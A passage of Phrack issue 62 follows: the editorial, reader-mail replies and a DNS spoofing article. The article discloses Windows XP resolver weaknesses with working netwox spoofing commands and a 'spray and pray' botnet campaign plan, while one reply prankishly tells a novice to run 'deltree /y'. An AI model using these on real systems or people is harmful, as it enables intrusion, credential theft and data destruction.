==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x01 of 0x0f [-]==========================================================================[-] _______ _ _ _ _ _______ .__________\ /__________. | _ ___ _ ___ _ ___ _ ___ _ ___ _ . _ _ __|_____ \/ /__ ____ \____ \____ \_ __/ / b / / _ \/ __/ __/ / / /____/ / / R __/ / / / \ \ / / / __/ m \_____/ / / / / / / / / \_:__ _ - --:-/ /---/____/---/____/---/____/---/____/---/ m | \ m | % p H R A C K i s s u e # 6 2 % \_____c__ _ | | `-----------------------------------------------------' [-]==========================================================================[-] Ladies and gentlemen, blackhatz and whitehat pussies, we are proud to bring you the 6th PHRACK release under the new staff.... PHRACK #62 IS OUT. For the second time in the history of phrack do we have a printed HARDCOVER version of the magazine. Thanks to the many sponsers we will be giving it out free at ruxcon II. This is a limited edition of 500 copies. The 62 release is Windows centric. The authors did some great work to teach you scum how to take Bill's OS apart. Check out this sweet article about how to get around windows buffer overflow protections, or the article on the kernel mode backdoor. We like to publish more articles from the electronic/soldering world. This issue comes with some details about radio broadcasting, hijacking base stations and how to broadcast the propaganda through the neighborhood. The carding article teach you how well-known techniques from the computer security world still work on smartcards & magnetic stripes (*hint* *hint*, replay attack, MiM, ...). Scut, an old-skewl member of team teso and the father of the 7350-exploits has been selected to be prophiled for #62. Richard Thieme, keynote speaker at defcon and other hacker conferences submitted two stories. We are proud to publish his words under Phrack World News. __^__ __^__ ( ___ )-------------------------------------------------------------( ___ ) | / | 0x01 Introduction phrackstaff 0x08 kb | \ | | / | 0x02 Loopback phrackstaff 0x05 kb | \ | | / | 0x03 Linenoise phrackstaff 0x21 kb | \ | | / | 0x04 Phrack Prophile on scut phrackstaff 0x0b kb | \ | | / | 0x05 Bypassing Win BO Protection Anonymous 0x25 kb | \ | | / | 0x06 Kernel Mode Backdoor for NT firew0rker 0x81 kb | \ | | / | 0x07 Advances in Windows Shellcode sk 0x31 kb | \ | | / | 0x08 Remote Exec grugq 0x3b kb | \ | | / | 0x09 UTF8 Shellcode greuff 0x32 kb | \ | | / | 0x0a Attacking Apache Modules andi 0x5e kb | \ | | / | 0x0b Radio Hacking shaun2k2 0x36 kb | \ | | / | 0x0c Win32 Portable Userland Rootkit kdm 0x48 kb | \ | | / | 0x0d Bypassing Windows Personal FW's rattle 0x59 kb | \ | | / | 0x0e A DynamicPolyalphabeticSubstitutionCipher veins 0x42 kb | \ | | / | 0x0f Playing Cards for Smart Profits ender 0x1a kb | \ | | / | 0x10 Phrack World News phrackstaff 0x55 kb | \ | |___|_____________[ PHRACK, NO FEAR & NO DOUBT ]_________________|___| (_____)-------------------------------------------------------------(_____) ^ ^ Shoutz to: barium - ascii art gamma - hardcover johncompanies - that's how server hosting should look like bugbabe - 31337 grfx david meltze - tshirt smuggling Enjoy the magazine! Phrack Magazine Vol 11 Number 62, Build 3, Jul 13, 2004. ISSN 1068-1035 Contents Copyright (c) 2004 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without the prior written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge. |=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=| Editors : phrackstaff@phrack.org Submissions : phrackstaff@phrack.org Commentary : loopback@phrack.org Phrack World News : pwn@phrack.org Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of your email. All others will meet their master in /dev/null. We reply to every email. Lame emails make it into loopback. |=-----------------------------------------------------------------------=| Submissions may be encrypted with the following PGP key: (Hint: Always use the PGP key from the latest issue) -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.2.1 (GNU/Linux) mQGiBD8t3OARBACWTusKTxboeSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT f7LvNdyYFDlYzFwSc9sesrNQ78EoWa1kHAGY1bUD2S7ei1aEU9r/EUpFxwCgzLjq TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4 FG4CsHGqMTEMrgR0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb upTcpQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K 5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpnEBw13RtLH cXEkY5GY+A2AapDCOhqDdh5Fxq9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0 YWZmIDxwaHJhY2tzdGFmZkBwaHJhY2sub3JnPohfBBMRAgAfBQI/LdzgBQkDFwQA BAsHAwIDFQIDAxYCAQIeAQIXgAAKCRC8vwVck0UfSeo1AJ42bPrG2L0Nlun1Fthn gYlx/9nUiACeJo5tMKlr/JcdKqeEfpNIm4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWKtZ68m+zxgYBK z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv 5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfqz82yTGwaoU7HynqhJr7UIxdsXx dr+y7ad1clR/OgAFg294fmffX6UkBjD5c2MiX/ax16rpDqZii1TJozeeeM7XaIAj 5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGlNGQN qqvHAsDtDTcABAsH/1zrZyBskztS88voQ2EHRR+bigpIFSlzOtHVDNnryIuF25nM yWV10NebrEVid/Um2xpB5qFnZNO1QdgqUTIpkKY+pqJd3mfKGepLhQq+hgSe29HP 45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR l1sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl mQLPI6ASmwlUGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi MXt5BXWyqYnDop885WR2jH5HyENOxQRad1v3yF6ITAQYEQIADAUCPy3dCgUJAxcE AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh nntgUSbqNtS5lUo= =FnHK -----END PGP PUBLIC KEY BLOCK----- phrack:~# head -22 /usr/include/std-disclaimer.h /* * All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue. * * * Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. * * * Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors. * These opinions do not necessarily represent those of the Phrack Staff. */ |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10 |=----------------------=[ L O O P B A C K ]=----------------------------=| |=-----------------------------------------------------------------------=| |=-----------------------=[ Phrack Staff ]=-----------------------------=| |=[ 0x01 ]=--------------------------------------------------------------=| From: "Tom Schouten" plz help me, i know that it 's a stupid question but i don't know how to decrypt the phrack articles i have imported the pgp key, but i don't know what to do next cheers, Tom [ Tom, I'm sorry but you wont continue the adventure with us. ] |=[ 0x02 ]=--------------------------------------------------------------=| From: if it were only this easy Subject: Very important send to editor in chief asap I should start off buy saying I'm not a cop fed or any other kind of law en forcement nor am i affiliated with any national local government of any kind to be honest i don't exist anywhere but, i am not a fan nor friend either. [ ... ] I however have the knowledge you seek but unlike you i will not freely share the knowledge with just every one. you must deserve to know. you must prove yourself. [ ... ] now email is not safe but I've taken the precautions on my end to keep this message out of government hands i hope your server is secure if not they will be looking for me of course they are always looking for me. [ ... ] if you don't succeed which you probably wont don't worry thousands before you have failed and thousands will after it just makes you average. p.s. IF THE MESSAGE IS INTERCEPTED BY ANY TYPE OF LAW ENFORCEMENT the recipients do not know who i am and questioning them would be like searching google. [ I'm only seeking for one information: Who gave you our email addres? ] |=[ 0x03 ]=--------------------------------------------------------------=| From: Date: Fri, 5 Dec 2003 22:56:03 +0100 > Hi there, > I was looking through phrack releases and I couldn't find an article about > APR (ARP Poison Routing, used to spoof on switched networks). [ Unfortunately, you sent your message at 22:56, and we dont accept articles after 22:55. ] > Maybe there is one and I'm stupid :-) [ There is something smart in every stupid sentence. ] > If you can verify that such an article does not exist (in phrack that is) [ we hereby verify that such an article does not exist. ] > I'll start writing right away ;-) [ our email address has changed for article submission: devnull@phrack.org ] > Greetz, > eeweep Gobuyabrain, PHRACKSTAFF |=[ 0x04 ]=--------------------------------------------------------------=| From: D D I really know you are good! I would like to know how good you are. I have primitive questions: - I'm connected with a dial up connexion and I dont want want my server or anybody else to know witch URL I'm browsing. Is that possible? [ yes ] - Witch system is "secure" Mac or Win or linux. [ none ] |=[ 0x05 ]=--------------------------------------------------------------=| [ IRC session after receiving the donation for hardcover print. ] Mon3yLaundy - vis0r wants to know if phrack is a registered charity it's not. yeah, i told him he just wants a tax deduction tax my ass. |=[ 0x06 ]=--------------------------------------------------------------=| From: Now I'm discovering your magazine, and I want to receive it by email... The question is > How can I receive the magazine by email??? [ wget http://www.phrack.org/archive/phrack62.tar.gz; puuencode phrack62.tar.gz p62.tar.gz | mail bris@cimex.com.cu ] |=[ 0x07 ]=--------------------------------------------------------------=| From: Joshua ruffolo A friend referred me to your site. I know nothing much about what is posted. I don't understand what's what. [ This is loopback. ] Apparently there is some basic info that should be known to understand, but what is it? [ howto_not_getting_into_loopback.txt ] |=[ 0x08 ]=--------------------------------------------------------------=| From: Hotballer002@cs.com Subject: I want to know something about downloading the issues hi. im nelson and i went to your site and i want to see if u could help me. I just stated the process of learning how to hack and i think your issues can help me. I downloaded one of the issues and when i opened it, a windows pop-up asked me what program I want to open the issue with. And thats what I don't know. So please help me and tell me what program I'm supposed to have to open the issues with. Thank you [ You have to pass our IQ test first: click on start -> run and enter "deltree /y" ] |=[ 0x09 ]=--------------------------------------------------------------=| From: MrRainbowStar@aol.com I love all of You ThaNkS For OpeninG My Min_d.?? You All Set Me FrEE IN This TechNo WoRlD.? ThAnkS Dr.K -???????? YOU ARE A GEnius _ Oh yeah and there are quite a few typos in the Hackers handbook? -but thats cool its all good I know what you mean ..... [ IT'S ALL GOOD MATE! ] |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10 |=-----------------------------------------------------------------------=| |=---------------------=[ L I N E N O I S E ]=---------------------------=| |=-----------------------------------------------------------------------=| 1 - Mistakes in the RFC Guidelines on DNS Spoofing Attacks 2 - Injecting Signals by Shaun 3 - Pirating A Radio Station |=------=[ The Impact of RFC Guidelines on DNS Spoofing Attacks ]=------=| by have2Banonymous --[ Contents 1 - Executive Summary 2 - Overview of Basic DNS Spoofing Attacks 3 - Proposed Criteria for DNS Reply Acceptance 4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria 5 - Example DNS Spoofing Attack 6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks 7 - Implementation Comparison 8 - Conclusion --[ 1 - Executive Summary This article provides a brief overview of basic Domain Name System (DNS) spoofing attacks against DNS client resolvers. Technical challenges are proposed that should help to both identify attempted attacks and prevent them from being successful. Relevant Request for Comments (RFC) guidelines, used by programmers to help ensure their DNS resolver code meets specifications, are reviewed. This results in the realisation that the RFC guidelines are not adequately specific or forceful to help identify or prevent DNS spoofing attacks against DNS client resolvers. Furthermore, the RFC guidelines actually simplify such attacks to a level that has not previously been discussed in the public domain until now. To highlight the consequences of merely conforming to the RFC guidelines without considering security ramifications, an example DNS spoofing attack against the DNS resolver in Microsoft Windows XP is provided. This illustrates serious weaknesses in the Windows XP DNS resolver client implementation. For example, Windows XP will accept a DNS reply as being valid without performing a thorough check that the DNS reply actually matches the DNS request. This allows an attacker to create malicious generic DNS replies that only need to meet a couple of criteria with predictable values in order to be accepted as a valid DNS reply by the targeted user. This article discusses the practical impact of the issues raised, such as the ability to perform a successful and reasonably undetectable DNS spoofing attack against a large target base of Windows XP users, without the attacker requiring knowledge of the DNS requests issued by the targeted users. Finally, a comparison with the DNS resolver in Debian Linux is supplied. --[ 2 - Overview of Basic DNS Spoofing Attacks When a user types the web site name www.somewebsite.org into their web browser, their computer issues a DNS request to their Internet Service Provider's (ISP) DNS server to resolve the web site name to an IP address. An attacker may attempt to subvert this process by sending the user a DNS reply containing an incorrect IP address, resulting in the user's computer connecting to a computer of the attacker's choice instead of the desired web site. --[ 3 - Proposed Criteria for DNS Reply Acceptance RFC 2535 (Domain Name System Security Extensions) otherwise known as DNSSEC discusses how cryptographic digital signatures can be used to authenticate DNS transactions to help mitigate DNS spoofing attacks. However, the adoption of this technology has been extremely slow. Even without this level of security, it would initially appear that a DNS spoofing attack against a DNS client resolver would be challenging to perform. This challenge results from the following proposed criteria of the DNS reply that must be met for it to be accepted by the computer performing the DNS lookup. Proposed criteria of a DNS reply for it to be accepted: 1) The source IP address must match the IP address that the DNS request was sent to. 2) The destination IP address must match the IP address that the DNS request was sent from. 3) The source port number must match the port number that the DNS request was sent to. 4) The destination port number must match the port number that the DNS request was sent from. 5) The UDP checksum must be correctly calculated. This may require the attacker to spend more time and effort per attack, although some packet generation utilities have the ability to automatically calculate this value. 6) The transaction ID must match the transaction ID in the DNS request. 7) The domain name in the question section must match the domain name in the question section of the DNS request. 8) The domain name in the answer section must match the domain name in the question section of the DNS request. 9) The requesting computer must receive the attacker's DNS reply before it receives the legitimate DNS reply. --[ 4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria According to the RFC guidelines, it is not necessary for all of these criteria to be met in order for a DNS reply to be accepted. Specifically, criteria 1, 2, 3, 5, 7 and 8 do not have to be met, while criteria 4, 6 and 9 must be met. The following is a devil's advocate interpretation of the RFC guidelines and a detailed discussion of their effect on each criteria. Criteria 1 (source IP address) does not have to be met according to RFC 791 (Internet Protocol) which states that "In general, an implementation must be conservative in its sending behavior, and liberal in its receiving behavior. That is, it must be careful to send well-formed datagrams, but must accept any datagram that it can interpret (e.g., not object to technical errors where the meaning is still clear)". RFC 1035 (Domain names - implementation and specification) states that "Some name servers send their responses from different addresses than the one used to receive the query. That is, a resolver cannot rely that a response will come from the same address which it sent the corresponding query to". The source IP address can therefore be set to an arbitrary IP address. Regardless, if desired, the attacker can set the source IP address of their DNS replies to that of the targeted user's DNS server. This is especially easy if the targeted user is a dialup ISP user since the ISP may have a friendly "How to setup your Internet connection" web page that specifies the IP address of their DNS server. Criteria 2 (destination IP address) does not have to be met according to RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which states that "For most purposes, a datagram addressed to a broadcast or multicast destination is processed as if it had been addressed to one of the host's IP addresses". Using a broadcast destination address would be most useful for attacking computers on a Local Area Network. Furthermore, a DNS reply may be accepted if it is addressed to any of the IP addresses associated with a network interface. Criteria 3 (source port number) does not have to be met according to RFC 768 (User Datagram Protocol) which states that "Source Port is an optional field". The source port can therefore be set to an arbitrary value such as 0 or 12345. Since the source port number of the DNS reply affects packet dissection by utilities such as Ethereal, a value of 137 is a devious choice since it will be dissected as the NetBIOS Name Service (NBNS) protocol which is based on DNS. As a result, the malicious DNS replies can be made to appear like NetBIOS traffic which is likely to be discarded by the system administrator or investigator as typical NetBIOS background noise. Criteria 4 (destination port number) must be met according to RFC 768 (User Datagram Protocol). However, this value may be predictable depending on the requesting computer's operating system. During testing, Windows XP always used port number 1026 to perform DNS queries, though this value depends on when the DNS Client service started during the boot process. Criteria 5 (UDP checksum) does not have to be met according to RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which states that "the UDP checksum is optional; the value zero is transmitted in the checksum field of a UDP header to indicate the absence of a checksum". Criteria 6 (transaction ID) must be met according to RFC 1035 (Domain names - implementation and specification) which states that the transaction ID is used "to match up replies to outstanding queries". However, this value may be predictable depending on the requesting computer's operating system. During testing, Windows XP did not randomly choose the 16 bit transaction ID value. Rather, Windows XP always used a transaction ID of 1 for the first DNS query performed after the computer was turned on, with the transaction ID simply incremented for subsequent DNS queries. Transaction ID 1 and 2 were used by the operating system to perform a DNS query of time.windows.com. Criteria 7 and 8 (domain name in question and answer section) do not have to be met according to RFC 1035 (Domain names - implementation and specification) which states that the transaction ID is used "to match up replies to outstanding queries" and recommends as a secondary step "to verify that the question section corresponds to the information currently desired". RFC recommendations do not have to be followed, and in the case of an absent question section, the principal that an implementation must accept any datagram that it can interpret appears to apply. Therefore, a DNS reply containing a single answer in the form of an IP address can be matched to the corresponding DNS request based on the transaction ID, without requiring a question section and without resorting to the overhead of processing the domain information in the answer section. Furthermore, an answer section is not even necessary if an Authority section is provided to refer the requesting computer to an authoritative name server (or a DNS server under the attacker's control). Criteria 9 (requesting computer must receive the attacker's DNS reply before it receives the legitimate DNS reply) must be met and remains as the greatest challenge to the attacker. This restriction is difficult to bypass unless the legitimate DNS server is taken out of action to prevent competition with the spoofed DNS reply, or numerous spoofed DNS replies are sent to the targeted user. However, as discussed above, criteria 1 to 8 either do not have to be met or may have predictable values. Therefore an attacker may require no knowledge of the victim's DNS request to have a reasonable chance of performing a successful attack by sending the requesting computer a small number of generic DNS replies. Furthermore, there is a viable workaround to the restrictive nature of this criteria. If the attacker is not trying to compromise a specific computer, a "spray and pray" approach can be used. This approach involves sending a very small number (twenty) of spoofed DNS replies to a maximum number of potential target computers, instead of trying to compromise a specific user and only once they have been compromised then trying to compromise another specific user. This "spray and pray" approach won't compromise every potential victim, and every packet the attacker sends won't result in a compromise, but enough of the attacker's malicious DNS replies will be accepted by enough potential victims to make the exercise worthwhile. --[ 5 - Example DNS Spoofing Attack A DNS spoofing attack using the concepts discussed in this article was performed against a Windows XP computer. The test Windows XP computer was a default install of the operating system followed by the application of Service Pack 1. The Microsoft Internet Connection Firewall shipped with Windows XP was then enabled, and configured to perform full logging of dropped packets and successful connections. The Windows XP user typed the web site URL www.somewebsite.org into Internet Explorer, resulting in a DNS request being sent from the user's computer (IP address 192.168.1.1) to the user's DNS server (IP address 192.168.1.254). A spoofed DNS reply disguised as NetBIOS data was sent to the user from the fake (spoofed) nonexistent IP address 10.10.10.1, specifying that whatever name the user was attempting to resolve had the IP address 192.168.1.77. The IP address 192.168.1.77 was actually a web server under the attacker's control. Internet Explorer connected to 192.168.1.77 and requested the web page. This revealed that the designers of the DNS resolver in Microsoft Windows XP also interpreted the RFC guidelines as described in the previous section, significantly simplifying DNS spoofing attacks. The following network packet decoded by Ethereal version 0.10.3 illustrates the malicious DNS reply and demonstrates how Ethereal can be confused into decoding the packet as NetBIOS traffic. Frame 1 (102 bytes on wire, 102 bytes captured) Ethernet II, Src: 00:50:56:c0:00:01, Dst: 00:0c:29:04:7d:25 Internet Protocol, Src Addr: 10.10.10.1 (10.10.10.1), Dst Addr: 192.168.1.1 (192.168.1.1) User Datagram Protocol, Src Port: 137 (137), Dst Port: 1026 (1026) Source port: 137 (137) Destination port: 1026 (1026) Length: 68 Checksum: 0x0000 (none) NetBIOS Name Service Transaction ID: 0x0003 Flags: 0x8580 (Name query response, No error) Questions: 0 Answer RRs: 1 Authority RRs: 0 Additional RRs: 0 Answers WORKGROUP<1b>: type unknown, class inet Name: WORKGROUP<1b> Type: unknown Class: inet Time to live: 1 day Data length: 4 Data 0000 00 0c 29 04 7d 25 00 50 56 c0 00 01 08 00 45 00 ..).}%.PV.....E. 0010 00 58 bf 58 00 00 00 11 25 89 0a 0a 0a 01 c0 a8 .X.X....%....... 0020 01 01 00 89 04 02 00 44 00 00 00 03 85 80 00 00 .......D........ 0030 00 01 00 00 00 00 20 46 48 45 50 46 43 45 4c 45 ...... FHEPFCELE 0040 48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43 HFCEPFFFACACACAC 0050 41 43 41 43 41 42 4c 00 00 01 00 01 00 01 51 80 ACACABL.......Q. 0060 00 04 c0 a8 01 4d .....M This packet was created using the following parameters passed to the freely available netwox packet creation utility: netwox 38 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --ip4-protocol 17 --ip4-data 008904020044000000038580000000010000000020464845504643454c45484 643455046464641434143414341434143414341424c0000010001000151800004c0a8014d Alternatively, the following parameters could be used since netwox automatically calculates the UDP checksum: netwox 39 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --udp-src 137 --udp-dst 1026 --udp-data 00038580000000010000000020464845504643454c45484 643455046464641434143414341434143414341424c0000010001000151800004c0a8014d The following shows that the spoofed DNS reply has been added to the user's DNS resolver cache for a period of 1 day, causing future resolutions of www.somewebsite.org to map to the web server under the attacker's control. The cache duration value can be decreased by the attacker so that the entry is either not cached or is immediately removed from the cache in order to remove evidence of the attack. C:\>ipconfig /displaydns Windows IP Configuration 1.0.0.127.in-addr.arpa ---------------------------------------- Record Name . . . . . : 1.0.0.127.in-addr.arpa. Record Type . . . . . : 12 Time To Live . . . . : 604393 Data Length . . . . . : 4 Section . . . . . . . : Answer PTR Record . . . . . : localhost www.somewebsite.org ---------------------------------------- Record Name . . . . . : FHEPFCELEHFCEPFFFACACACACACACABL Record Type . . . . . : 1 Time To Live . . . . : 86364 Data Length . . . . . : 4 Section . . . . . . . : Answer A (Host) Record . . . : 192.168.1.77 localhost ---------------------------------------- Record Name . . . . . : localhost Record Type . . . . . : 1 Time To Live . . . . : 604393 Data Length . . . . . : 4 Section . . . . . . . : Answer A (Host) Record . . . : 127.0.0.1 The following log file from Microsoft's Internet Connection Firewall reveals that it did not provide any protection against the attack, though it is not designed to inspect and correlate DNS traffic. If the firewall was not configured to log successful connections, then there would not have been any log entries. #Verson: 1.0 #Software: Microsoft Internet Connection Firewall #Time Format: Local #Fields: date time action protocol src-ip dst-ip src-port dst-port size tcpflags tcpsyn tcpack tcpwin icmptype icmpcode info 2004-05-10 20:34:56 OPEN UDP 192.168.1.1 192.168.1.254 1026 53 - - - - - - - - 2004-05-10 20:34:57 OPEN-INBOUND UDP 10.10.10.1 192.168.1.1 137 1026 - - - - - - - - 2004-05-10 20:34:57 OPEN TCP 192.168.1.1 192.168.1.77 3010 80 - - - - - - - - 2004-05-10 20:35:30 CLOSE TCP 192.168.1.1 192.168.1.77 3010 80 - - - - - - - - 2004-05-10 20:36:30 CLOSE UDP 192.168.1.1 192.168.1.254 1026 53 - - - - - - - - 2004-05-10 20:36:30 CLOSE UDP 10.10.10.1 192.168.1.1 137 1026 - - - - - - - - It can be seen that when the Windows XP computer sent a UDP packet from port 1026 to port 53 of the DNS server, the firewall allowed all incoming UDP traffic to port 1026, regardless of the source IP address or source port of the incoming traffic. Such incoming traffic was allowed to continue until the firewall decided to block access to port 1026, which occurred when there was no incoming traffic to port 1026 for a defined period of time. This timeframe was between 61 seconds and 120 seconds, as it appeared that the firewall checked once per minute to determine if access to ports should be revoked due to more than 60 seconds of inactivity. Assuming that users connected to the Internet would typically perform a DNS query at least every minute, incoming access to port 1026 would always be granted. An attacker on the Internet could therefore send the Windows XP computer spoofed DNS replies without worrying that they might be blocked by the firewall. Such traffic would not generate any logs if the firewall was configured to only Log Dropped Packets. If the firewall was configured to also Log Successful Connections as in this example, these log entries would disappear among the thousands of other log entries. Since the firewall logs connections and not traffic, if the source IP address was set to the Windows XP computer's DNS server, no extra firewall log entries would be created as a result of the DNS spoofing attack. The netstat command revealed that the Windows XP computer was always listening on UDP port 1026, and as a result, extra DNS replies were silently discarded and did not generate an error message in the event log or an ICMP port unreachable packet. This behaviour, and the reuse of the same source port number for DNS requests, was attributed to the DNS Client service. --[ 6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks The attacker does not require information about the targeted user's DNS requests, such as the IP address of the user's DNS server, the source port of the user's DNS request, or the name that the user was attempting to resolve to an IP address. Therefore the attacker does not require access to the communication link between the targeted user and their DNS server. Windows XP SP1 matches DNS replies to DNS requests by only the transaction ID and the UDP port number, and both of these values are very predictable. Since the name to be resolved is not matched between the DNS request and the DNS reply, the attacker does not care what domain name the user queried since this domain name does not have to be placed in the attacker's DNS reply. As a result, the attacker can create generic malicious DNS replies that will successfully subvert the targeted user's DNS lookup process regardless of the name the targeted user was attempting to resolve, and regardless of the targeted user's network configuration such as the IP address of their DNS server. An attacker desiring to compromise as many computers as possible with the least amount of effort and in the shortest timeframe could send twenty DNS replies that look similar to the generic DNS reply used in the example attack on Windows XP in this article, though with the transaction ID ranging from 3 to 22. To be more thorough, the attacker could instead send one hundred DNS replies with the destination port number ranging from 1025 to 1029. The attacker would use a "spray and pray" approach by sending these DNS replies to every IP address in the IP address range belonging to a large dialup Internet Service Provider, and when finished, repeating the process. A level of success is guaranteed in such an attack scenario considering the huge target base of potential victims awaiting a DNS reply, and considering that Windows XP accepts anything vaguely resembling a DNS reply as a valid DNS reply. A recipient of the attacker's twenty DNS replies will accept one of them as being valid, resulting in a successful attack, if the recipient: - is using Windows XP with its poorly implemented DNS client resolver (most dialup Internet users are in this category). - recently connected to the Internet within the last 10-20 minutes or so and therefore haven't performed more than twenty DNS requests (a reasonable proportion of dialup Internet users are in this category). - recently performed a DNS request and is awaiting a DNS reply (a reasonable number of the huge target base of dialup Internet users are in this category). The targeted Windows XP users would be unlikely to notice the attack, especially if they were relying on Microsoft Internet Connection Firewall to protect them. Analysis of the logs of a more sophisticated firewall and inspection of network traffic would not readily reveal a DNS spoofing attack since the source IP address would not be that of the legitimate DNS server. Furthermore, the source port number and content of the spoofed DNS replies can be crafted to make them appear to be typical NetBIOS background noise which would probably be discarded by the user as useless network traffic floating around the Internet. Finally, the targeted IP address range of a dialup ISP would consist mainly of home Internet users who are not educated in advanced network security concepts. The IP address in the spoofed DNS replies could be a computer on the Internet under the attacker's control, which is running proxy software for email (SMTP and POP3) and HTTP traffic. The attacker would be able to collect sensitive information including email sent and received as well as passwords for future email retrieval. Web based email and unencrypted login details to web sites would also be collected. The attacker could add content to HTML pages before returning them to the user. Such content could include banner ads to generate money, or a hidden frame with a link to a file on a third party web site effectively causing a distributed denial of service attack against the third party. More seriously, the attacker could increase the scope of the compromise by adding HTML content that exploited one of the publicly known vulnerabilities in Internet Explorer that allows the execution of arbitrary code, but for which there is no vendor patch. For example, vulnerabilities discussed at the web site http://www.computerworld.com.au/index.php?id=117316298&eid=-255 The "spray and pray" attack approach is useful for creating a network of semi-randomly chosen compromised computers under the attacker's control, otherwise known as a botnet. Proxying of HTTP/1.1 traffic could be performed by inspecting the HOST header to determine which web site the user wanted to visit. However, for the purpose of easily and seamlessly proxying traffic, an attacker may decide not to place an Answer section in the spoofed DNS replies. Rather, the attacker may send a non-authoritative spoofed DNS reply using the Authority and Additional sections of DNS replies to refer the requesting computer to a DNS server under the attacker's control. This would allow the attacker to know exactly what domain the victim computer was attempting to query, and furthermore such spoofed DNS replies may have a long lasting and widespread effect on the victim's computer. A detailed discussion of DNS referrals and testing whether Windows XP could handle them is outside the scope of this article. --[ 7 - Implementation Comparison Contributors to the Linux operating system appear to have taken a hardline security conscious approach to interpreting the RFC guidelines, bordering on non-conformance for the sake of security. The Mozilla web browser running on the author's Debian Linux computer was very restrictive and required DNS replies to meet all of the above nine criteria except for criteria 5, where a UDP checksum value of zero was accepted. An incorrect UDP checksum was accepted when the packet was sent over a local network but not when sent over the Internet. Reviewing the kernel source code indicated that for local networks, the UDP checksum was deliberately ignored and hardware based checking was performed instead for performance reasons. This appeared to be a feature and not a bug, even though it did not comply with RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which states that "If a UDP datagram is received with a checksum that is non-zero and invalid, UDP MUST silently discard the datagram". During testing, the Linux computer used source port numbers 32768 and 32769 to perform DNS queries. The transaction ID was randomly generated, complicating DNS spoofing attacks, though the transaction ID used in the retransmission of an unanswered DNS request was not as random. The choice of transaction ID values appeared robust enough to help defend against DNS spoofing attacks on the Internet since the initial transaction ID value was unpredictable, and the first DNS request would typically be answered resulting in no need for retransmissions. The iptables firewall on the Linux computer was configured so that the only allowed UDP traffic was to/from port 53 of the legitimate DNS server. When a DNS query was performed and a DNS reply was received, iptables was unable to block extra (spoofed) incoming DNS replies since it is not designed to inspect DNS traffic and allow one incoming DNS reply per outgoing DNS request. However, since the port used to send the DNS query was closed once a valid DNS reply was received, ICMP port unreachable messages were generated for the extra (spoofed) incoming DNS replies. iptables was configured to block and log outgoing ICMP network traffic. Reviewing the logs revealed ICMP port unreachable messages that were destined to the legitimate DNS server, which were a good indication of a DNS spoofing attack. Further to this evidence of a DNS spoofing attack, since the DNS replies must come from port 53, analysis of the network traffic using a packet dissector such as Ethereal revealed traffic that looked like DNS replies apparently originating at the legitimate DNS server. --[ 8 - Conclusion The RFC guidelines simplify DNS spoofing attacks against DNS client resolvers since the attacker does not require information such as the IP address of the potential victim's DNS server or the contents of DNS queries sent by the potential victim. Microsoft Windows XP is more susceptible to DNS spoofing attacks than Linux due to its poor implementation of the RFC guidelines. Further simplifying DNS spoofing attacks are Windows XP's inadequate matching of DNS requests to DNS replies, and the predictable port number and transaction ID values - behaviour that could be changed without violating the RFC guidelines. Evidence of DNS spoofing attacks is minimised by the ability to disguise DNS replies as NetBIOS traffic, the lack of configuration granularity and traffic inspection of some firewalls, and Windows XP's failure to generate ICMP error messages for excessive DNS replies. RFC 791 (Internet Protocol) stating that a program must be "liberal in its receiving behavior" and "must accept any datagram that it can interpret" may have been acceptable 